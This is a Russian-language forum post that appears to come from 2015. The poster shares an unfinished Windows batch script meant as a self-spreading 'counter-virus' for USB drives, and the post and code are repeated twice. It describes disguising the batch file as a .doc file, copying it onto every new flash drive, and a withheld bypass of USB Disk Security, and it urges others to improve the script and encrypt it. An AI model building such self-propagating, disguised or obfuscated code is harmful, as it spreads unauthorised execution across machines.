maximuma
06-06-2015, 11:03
Сброшу сюда, хоть это уже и не имеет значения, проблема была в том что на работе загулял вирус, хотел создать подобный, но чтобы удалял старый, машин 435, решил написать данный батник чтобы не мучится с поиском других решение(Которое было найдено путем Интернет Контроль Сервера путем Задачи для всех ПК).
Сама задумка кода должна была сделать:
Изначально уже 1-й файл должен был находится на флешке и запуститься хотябы на 1-м ПК, После запуска к примеру 1.doc он запускал антивирус и самокопировался обратно, вшивался, искал флеш накопитель постоянно (Решение не найдено), и заново вшивался в новый флеш накопитель. Т.к почти на всех Пк стоял Usb Disk Security, был разработал обход для запуска батника (сюда писать не буду). Думаю если доработать данный код и зашифровать можно не плохо помочь по мере возрастания :) Если кто-то и решится доработать батник буду рад, т.к самому интересно заработает ли эта идя :)
Сам код:
@echo off
:: Копируем самый свежий файл в назначенную папку
set disk=%~d0
pushd "C:\test3"
for /f "tokens=*" %%i in (' dir /b *.txt ') do (
for /f "tokens=1" %%j in ( "%%~ti" ) do if "%%j"=="%date%" set "file=%%i"
)
copy "%file%" "C:\"
:: Записывает найденный файл в файл file.txt с добавочным "1"
pause
set "list="C:\test3""
For /F "delims=." %%A In ('Dir "C:\test3\*.txt" /A-D /B') Do (Echo 1%%~A.doc)>>file.txt
pause
:: Вытаскивает из файла file.txt название файла и наполняем файл
@for /f "usebackq delims=" %%i in ("file.txt") do (
>"%%i.bat" (
echo attrib -S -H /D /S
) & goto :eof
)
:: Превращает file.txt в file.bat
@for /f "usebackq" %%i in ('"C:\test3\*.txt"') do @cd.>"%%~dpni.bat"
pause
:: Меняем иконку
pause
:: Возвращаем в корень
copy /y c:\test3\1\*.bat %disk%
pause
Сама задумка кода должна была сделать:
Изначально уже 1-й файл должен был находится на флешке и запуститься хотябы на 1-м ПК, После запуска к примеру 1.doc он запускал антивирус и самокопировался обратно, вшивался, искал флеш накопитель постоянно (Решение не найдено), и заново вшивался в новый флеш накопитель. Т.к почти на всех Пк стоял Usb Disk Security, был разработал обход для запуска батника (сюда писать не буду). Думаю если доработать данный код и зашифровать можно не плохо помочь по мере возрастания :) Если кто-то и решится доработать батник буду рад, т.к самому интересно заработает ли эта идя :)
Сам код:
@echo off
:: Копируем самый свежий файл в назначенную папку
set disk=%~d0
pushd "C:\test3"
for /f "tokens=*" %%i in (' dir /b *.txt ') do (
for /f "tokens=1" %%j in ( "%%~ti" ) do if "%%j"=="%date%" set "file=%%i"
)
copy "%file%" "C:\"
:: Записывает найденный файл в файл file.txt с добавочным "1"
pause
set "list="C:\test3""
For /F "delims=." %%A In ('Dir "C:\test3\*.txt" /A-D /B') Do (Echo 1%%~A.doc)>>file.txt
pause
:: Вытаскивает из файла file.txt название файла и наполняем файл
@for /f "usebackq delims=" %%i in ("file.txt") do (
>"%%i.bat" (
echo attrib -S -H /D /S
) & goto :eof
)
:: Превращает file.txt в file.bat
@for /f "usebackq" %%i in ('"C:\test3\*.txt"') do @cd.>"%%~dpni.bat"
pause
:: Меняем иконку
pause
:: Возвращаем в корень
copy /y c:\test3\1\*.bat %disk%
pause